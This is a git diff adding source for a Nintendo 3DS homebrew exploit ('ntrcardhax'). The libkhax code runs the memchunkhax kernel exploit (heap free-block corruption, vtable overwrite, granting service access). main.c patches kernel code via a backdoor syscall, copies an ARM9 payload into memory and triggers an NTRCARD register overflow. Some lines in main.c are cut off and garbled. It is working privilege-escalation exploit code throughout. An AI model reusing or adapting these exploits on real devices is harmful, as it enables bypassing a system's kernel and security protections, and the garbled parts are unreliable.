} else if(versionData->m_kernelVersion <= SYSTEM_VERSION(2, 50, 9)) { + KHAX_printf("verdat s=%08lx\n", versionData->m_slabHeapVirtualAddress); + + // Create the hack object. + MemChunkHax2 hax{ versionData }; + + // Run through the steps. + if (Result result = hax.Step1_Initialize()) + { + KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step2_IsolatePage()) + { + KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step3_OverwriteVtable()) + { + KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step4_GrantServiceAccess()) + { + KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); + return result; + } + } + + KHAX_printf("khaxInit: done\n"); + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything +// and frees all memory on the way out. +extern "C" Result khaxExit() +{ + return 0; +} diff --git a/ntrcardhax_arm11/source/khaxinternal.h b/ntrcardhax_arm11/source/khaxinternal.h new file mode 100644 index 0000000..bea4e6a --- /dev/null +++ b/ntrcardhax_arm11/source/khaxinternal.h @@ -0,0 +1,361 @@ +#pragma once + +#ifdef KHAX_DEBUG + #define KHAX_printf(...) printf(__VA_ARGS__) +#else + #define KHAX_printf(...) static_cast(__VA_ARGS__) +#endif + +// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never +// actually compile this program. +#ifdef _MSC_VER + #undef ALIGN + #define ALIGN(x) __declspec(align(x)) + #if _MSC_VER < 1900 + #define alignof __alignof + #endif + #define KHAX_ATTRIBUTE(...) +#else + #define KHAX_ATTRIBUTE(...) __VA_ARGS__ +#endif + +#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // This code uses offsetof illegally (i.e. on polymorphic classes). + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Winvalid-offsetof" + + //------------------------------------------------------------------------------------------------ + // Size of a page. + static constexpr const u32 PAGE_SIZE = 0x1000; + + //------------------------------------------------------------------------------------------------ + // General linked list node kernel object. + struct KLinkedListNode + { + KLinkedListNode *next; + KLinkedListNode *prev; + void *data; + }; + static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Base class of reference-counted kernel objects. + class KAutoObject + { + public: + u32 m_refCount; // +004 + + protected: + virtual ~KAutoObject() {} + }; + static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size."); + static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Base class of synchronizable objects. + class KSynchronizationObject : public KAutoObject + { + public: + u32 m_threadSyncCount; // +008 + KLinkedListNode *m_threadSyncFirst; // +00C + KLinkedListNode *m_threadSyncLast; // +010 + }; + static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size."); + static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008, + "KSynchronizationObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + struct KDebugThread; + struct KThreadLocalPage; + class KCodeSet; + + //------------------------------------------------------------------------------------------------ + // Unofficial name + typedef u8 KSVCACL[0x80 / 8]; + + //------------------------------------------------------------------------------------------------ + // ARM VFP register + union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister + { + float m_single[2]; + double m_double; + }; + static_assert(alignof(VFPRegister) == 0x004, + "VFPRegister isn't the expected alignment."); + static_assert(sizeof(VFPRegister) == 0x008, + "VFPRegister isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode register save area. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCRegisterState + { + u32 m_r4; // +000 + u32 m_r5; // +004 + u32 m_r6; // +008 + u32 m_r7; // +00C + u32 m_r8; // +010 + u32 m_r9; // +014 + u32 m_sl; // +018 + u32 m_fp; // +01C + u32 m_sp; // +020 + u32 m_lr; // +024 + }; + static_assert(sizeof(SVCRegisterState) == 0x028, + "SVCRegisterState isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode thread state structure. This is the last part of the per- + // thread page allocated in 0xFF4XX000. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCThreadArea + { + KSVCACL m_svcAccessControl; // +000 + u32 m_unknown010; // +010 + u32 m_unknown014; // +014 + SVCRegisterState m_svcRegisterState; // +018 + VFPRegister m_vfpRegisters[16]; // +040 + u32 m_unknown0C4; // +0C0 + u32 m_fpexc; // +0C4 + }; + static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018, + "ThreadSVCArea isn't the expected layout."); + static_assert(sizeof(SVCThreadArea) == 0x0C8, + "ThreadSVCArea isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a thread object. + class KThread : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + u32 m_unknown01C; // +01C + u32 m_unknown020; // +020 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C + u32 m_unknown030; // +030 + u32 m_unknown034; // +034 + KDebugThread *m_debugThread; // +038 + s32 m_threadPriority; // +03C + void *m_waitingOnObject; // +040 + u32 m_unknown044; // +044 + KThread **m_schedulerUnknown048; // +048 + void *m_arbitrationAddress; // +04C + u32 m_unknown050; // +050 + u32 m_unknown054; // +054 + u32 m_unknown058; // +058 + KLinkedListNode *m_waitingOnList; // +05C + u32 m_unknownListCount; // +060 + KLinkedListNode *m_unknownListHead; // +064 + KLinkedListNode *m_unknownListTail; // +068 + s32 m_threadPriority2; // +06C + s32 m_creatingProcessor; // +070 + u32 m_unknown074; // +074 + u32 m_unknown078; // +078 + u16 m_unknown07C; // +07C + u8 m_threadType; // +07E + u8 m_padding07F; // +07F + void *m_process; // +080 + u32 m_threadID; // +084 + SVCRegisterState *m_svcRegisterState; // +088 + void *m_svcPageEnd; // +08C + s32 m_idealProcessor; // +090 + void *m_tlsUserMode; // +094 + void *m_tlsKernelMode; // +098 + u32 m_unknown09C; // +09C + KThread *m_prev; // +0A0 + KThread *m_next; // +0A4 + KThread **m_temporaryLinkedList; // +0A8 + u32 m_unknown0AC; // +0B0 + }; + static_assert(sizeof(KThread) == 0x0B0, + "KThread isn't the expected size."); + static_assert(offsetof(KThread, m_svcRegisterState) == 0x088, + "KThread isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Version 1.0.0(?) - 7.2.0 + class KProcess_1_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void *m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + u32 m_unknown04C; // +04C + u32 m_mmuTableSize; // +050 + void *m_mmuTableAddress; // +054 + u32 m_threadContextPagesSize; // +058 + u32 m_threadLocalPageCount; // +05C + KLinkedListNode *m_threadLocalPageFirst; // +060 + KLinkedListNode *m_threadLocalPageLast; // +064 + u32 m_unknown068; // +068 + s32 m_idealProcessor; // +06C + u32 m_unknown070; // +070 + void *m_resourceLimits; // +074 + u8 m_unknown078; // +078 + u8 m_affinityMask; // +079 + u32 m_threadCount; // +07C + KSVCACL m_svcAccessControl; // +080 + u32 m_interruptFlags[0x80 / 32]; // +090 + u32 m_kernelFlags; // +0A0 + u16 m_handleTableSize; // +0A4 + u16 m_kernelReleaseVersion; // +0A6 + KCodeSet *m_codeSet; // +0A8 + u32 m_processID; // +0AC + u32 m_kernelFlags2; // +0B0 + u32 m_unknown0B4; // +0B4 + KThread *m_mainThread; // +0B8 + //...more... + }; + static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080, + "KProcess_1_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Old 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void *m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + void *m_userVirtualMemoryEnd; // +04C + void *m_userLinearVirtualBase; // +050 + u32 m_unknown054; // +054 + u32 m_mmuTableSize; // +058 + void *m_mmuTableAddress; // +05C + u32 m_threadContextPagesSize; // +060 + u32 m_threadLocalPageCount; // +064 + KLinkedListNode *m_threadLocalPageFirst; // +068 + KLinkedListNode *m_threadLocalPageLast; // +06C + u32 m_unknown070; // +070 + s32 m_idealProcessor; // +074 + u32 m_unknown078; // +078 + void *m_resourceLimits; // +07C + u32 m_unknown080; // +080 + u32 m_threadCount; // +084 + u8 m_svcAccessControl[0x80 / 8]; // +088 + u32 m_interruptFlags[0x80 / 32]; // +098 + u32 m_kernelFlags; // +0A8 + u16 m_handleTableSize; // +0AC + u16 m_kernelReleaseVersion; // +0AE + KCodeSet *m_codeSet; // +0B0 + u32 m_processID; // +0B4 + u32 m_unknown0B8; // +0B8 + u32 m_unknown0BC; // +0BC + KThread *m_mainThread; // +0C0 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088, + "KProcess_8_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // New 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_New : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C new to New 3DS + u32 m_unknown030; // +030 new to New 3DS + u32 m_memoryBlockCount; // +034 + KLinkedListNode *m_memoryBlockFirst; // +038 + KLinkedListNode *m_memoryBlockLast; // +03C + u32 m_unknown040; // +040 + u32 m_unknown044; // +044 + void *m_translationTableBase; // +048 + u8 m_contextID; // +04C + u32 m_unknown050; // +050 + void *m_userVirtualMemoryEnd; // +054 + void *m_userLinearVirtualBase; // +058 + u32 m_unknown05C; // +05C + u32 m_mmuTableSize; // +060 + void *m_mmuTableAddress; // +064 + u32 m_threadContextPagesSize; // +068 + u32 m_threadLocalPageCount; // +06C + KLinkedListNode *m_threadLocalPageFirst; // +070 + KLinkedListNode *m_threadLocalPageLast; // +074 + u32 m_unknown078; // +078 + s32 m_idealProcessor; // +07C + u32 m_unknown080; // +080 + void *m_resourceLimits; // +084 + u32 m_unknown088; // +088 + u32 m_threadCount; // +08C + u8 m_svcAccessControl[0x80 / 8]; // +090 + u32 m_interruptFlags[0x80 / 32]; // +0A0 + u32 m_kernelFlags; // +0B0 + u16 m_handleTableSize; // +0B4 + u16 m_kernelReleaseVersion; // +0B6 + KCodeSet *m_codeSet; // +0B8 + u32 m_processID; // +0BC + u32 m_unknown0C0; // +0C0 + u32 m_unknown0C4; // +0C4 + KThread *m_mainThread; // +0C8 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090, + "KProcess_8_0_0_New isn't the expected layout."); + + // Free block structure in the kernel, the one used in the memchunkhax exploit. + struct HeapFreeBlock + { + int m_count; + HeapFreeBlock *m_next; + HeapFreeBlock *m_prev; + int m_unknown1; + int m_unknown2; + }; + static_assert(sizeof(HeapFreeBlock) == 0x014, + "HeapFreeBlock isn't the expected size."); + + // The layout of a memory page. + union Page + { + unsigned char m_bytes[4096]; + HeapFreeBlock m_freeBlock; + }; + static_assert(sizeof(Page) == 0x1000, + "Page isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Done using illegal offsetof + #pragma GCC diagnostic pop +} diff --git a/ntrcardhax_arm11/source/main.c b/ntrcardhax_arm11/source/main.c new file mode 100644 index 0000000..f248e4d --- /dev/null +++ b/ntrcardhax_arm11/source/main.c @@ -0,0 +1,503 @@ +/* +* Copyright (C) 2016 - Normmatt +* +* This program is free software: you can redistribute it and/or modify +* it under the terms of the GNU General Public License as published by +* the Free Software Foundation, either version 3 of the License, or +* (at your option) any later version. +* +* This program is distributed in the hope that it will be useful, +* but WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +* GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License +* along with this program. If not, see . +*/ + +#include +#include +#include +#include + +#include <3ds.h> +#include "khax.h" + +vu32 gpu_regs[10]; +vu16* NTRCARD_MCNT = 0x1EC64000; +vu32* NTRCARD_ROMCNT = 0x1EC64004; +vu64* NTRCARD_CMD = 0x1EC64008; +vu64* NTRCARD_FIFO = 0x1EC6401C; + +uint32_t wrapper_adr = -1; +uint32_t map_memory = -1; +uint32_t pxi_base = -1; + +u32 PXI_BASE = -1; //virtual address of 0x10163000 +u32 wrapperAdr = -1; //svc6D_GetDebugThreadParam +u32 mapMemoryAdr = -1; //MapMemory method + +#define FCRAM_BASE 0xE0000000 +#define ARM9_PAYLOAD_BASE 0x3F00000 + +extern Result svcMapMemory(u32 handle, u32 v_address, u32 size_in_pages, u32 is_io); +u32 g_backdoorResult = 0xDEADBABE; +u8* a9buffer = NULL; +u32 a9bufferSize = 0; + +#define GenerateArmBLX(a,b) GenerateArmBranch(a,b,0xfa000000) +#define GenerateArmBL(a,b) GenerateArmBranch(a,b,0xeb000000) +#define GenerateArmB(a,b) GenerateArmBranch(a,b,0xea000000) +const u32 GenerateArmBranch(const u32 aSource,const u32 aTarget,const u32 base) +{ + u32 result=0; + s32 diff=aTarget-aSource-8; + if(diff<=33554428&&diff>=-33554432&&(diff&3)==0) + { + result=base|((diff>>2)&0xffffff); + } + else + { + printf("invalid arm branch\n"); + } + return result; +} + +void flush_dcache(void) { + asm volatile ( + "MOV R0, #0\n\t" + "MCR p15, 0, R0,c7,c14, 0\n\t" + "MCR p15, 0, R0,c7,c10, 4\n\t" + ); +} + +void flush_icache(void) { + asm volatile ( + "MOV R0, #0\n\t" + "MCR p15, 0, R0,c7,c5, 0\n\t" + "MCR p15, 0, R0,c7,c5, 4\n\t" + "MCR p15, 0, R0,c7,c5, 6\n\t" + "MCR p15, 0, R0,c7,c10, 4\n\t" + ); +} + + +s32 UpdateFramebufferInfo() +{ + __asm__ volatile("cpsid aif"); + + *(vu32*)(FCRAM_BASE + 0x0) = 0; + *(vu32*)(FCRAM_BASE + 0x100) = 0x20000104; + *(vu8*)(FCRAM_BASE + 0x104) = '/'; + *(vu8*)(FCRAM_BASE + 0x105) = 's'; + *(vu8*)(FCRAM_BASE + 0x106) = 'y'; + *(vu8*)(FCRAM_BASE + 0x107) = 's'; + *(vu8*)(FCRAM_BASE + 0x108) = 0; + + // framebuffers + *(vu32 *)(FCRAM_BASE + 0x3FFFE00) = gpu_regs[0]; // framebuffer 1 top left + *(vu32 *)(FCRAM_BASE + 0x3FFFE04) = gpu_regs[1]; // framebuffer 2 top left + *(vu32 *)(FCRAM_BASE + 0x3FFFE08) = gpu_regs[2]; // framebuffer 1 top right + *(vu32 *)(FCRAM_BASE + 0x3FFFE0C) = gpu_regs[3]; // framebuffer 2 top right + *(vu32 *)(FCRAM_BASE + 0x3FFFE10) = gpu_regs[4]; // framebuffer 1 bottom + *(vu32 *)(FCRAM_BASE + 0x3FFFE14) = gpu_regs[5]; // framebuffer 2 bottom + *(vu32 *)(FCRAM_BASE + 0x3FFFE18) = gpu_regs[6]; // framebuffer select top + *(vu32 *)(FCRAM_BASE + 0x3FFFE1C) = gpu_regs[7]; // framebuffer select bottom + + flush_dcache(); + flush_icache(); + + memcpy((void*)(ARM9_PAYLOAD_BASE + FCRAM_BASE), a9buffer, a9bufferSize); + + flush_dcache(); + flush_icache(); + + return 0; +} + +s32 dump_chunk_wrapper() +{ + __asm__ volatile("cpsid aif"); + //ffff9000/ffff9004 + u32 kprocess = *(vu32*)0xffff9004; + u32 kthread = kprocess+0x1C; + g_backdoorResult = kthread; + + // patch to bl to map thread + *(vu32*)(wrapperAdr - 0x1FF80000) = 0xE58D4000; //str r4,[sp] + *(vu32*)(wrapperAdr + 4 - 0x1FF80000) = 0xE1A00000; //nop + *(vu32*)(wrapperAdr + 8 - 0x1FF80000) = 0xE1A00000; //nop + *(vu32*)(wrapperAdr + 12 - 0x1FF80000) = GenerateArmBL(wrapperAdr + 12,mapMemoryAdr); //bl MapMemory + *(vu32*)(wrapperAdr + 16 - 0x1FF80000) = 0xE1A00000; //nop + *(vu32*)(wrapperAdr + 20 - 0x1FF80000) = 0xE1A00000; //nop + *(vu32*)(wrapperAdr + 24 - 0x1FF80000) = 0xE1A00000; //nop + + UpdateFramebufferInfo(); + + return 0; +} + + +u32* pxi_send(u32 pxi_id, u32* buf, int no_recv) { + static u32 recv_buf[0x40]; + + u32 n = (buf[0] & 0x3f) + ((buf[0]>>6) & 0x3f); + vu8* PXI_SYNC3 = PXI_BASE+3; + vu32* PXI_CNT = PXI_BASE+4; + vu32* PXI_SEND = PXI_BASE+8; + vu32* PXI_RECV = PXI_BASE+12; + + u32 tmp_irqflag = (*PXI_CNT>>10) & 1; + *PXI_CNT &= ~(1<<10); + *PXI_CNT &= ~(1<<2); + + while(*PXI_CNT & 2); + *PXI_SEND = pxi_id; + *PXI_SYNC3 |= 0x40; + + while(*PXI_CNT & 2); + *PXI_SEND = buf[0]; + + u32 i; + for(i=0; i>6) & 0x3f); + + for(i=0; i 1) shall_trigger_fs--; + + if(do_overflow && ((romcnt & 0x1fff) == 0x1fff)) { + //printf("BEFORE %08X\n", *NTRCARD_ROMCNT); + + *NTRCARD_ROMCNT = ((6 << 24) & 0x7FFFFFF) | 0x883F1FFF; + u32 temp = *NTRCARD_ROMCNT; + + printf("Overflow! %08X EXPECTED %08X\n", temp, ((6 << 24) & 0x7FFFFFF) | 0x883F1FFF); + has_changed = 1; + shall_trigger_fs = 5; + } + + old_romcnt = romcnt; + + printf("%08X\n", *(vu32 *)0x1EC64004); + //printf("%08X %08X\n", *(vu32 *)0x1EC64008, *(vu32 *)0x1EC6400C); + } + + if(has_changed) + { + // Flush and swap framebuffers + gfxFlushBuffers(); + gfxSwapBuffers(); + + //Wait for VBlank + gspWaitForVBlank(); + + GSPGPU_ReadHWRegs(0x400468, (u32*)&gpu_regs[0], 8); // framebuffer 1 top left & framebuffer 2 top left + GSPGPU_ReadHWRegs(0x400494, (u32*)&gpu_regs[2], 8); // framebuffer 1 top right & framebuffer 2 top right + GSPGPU_ReadHWRegs(0x400568, (u32*)&gpu_regs[4], 8); // framebuffer 1 bottom & framebuffer 2 bottom + GSPGPU_ReadHWRegs(0x400478, (u32*)&gpu_regs[6], 4); // framebuffer select top + GSPGPU_ReadHWRegs(0x400578, (u32*)&gpu_regs[7], 4); // framebuffer select bottom + + svcBackdoor(UpdateFramebufferInfo); + } + } + + //closing all services even more so + gfxExit(); + return 0; +}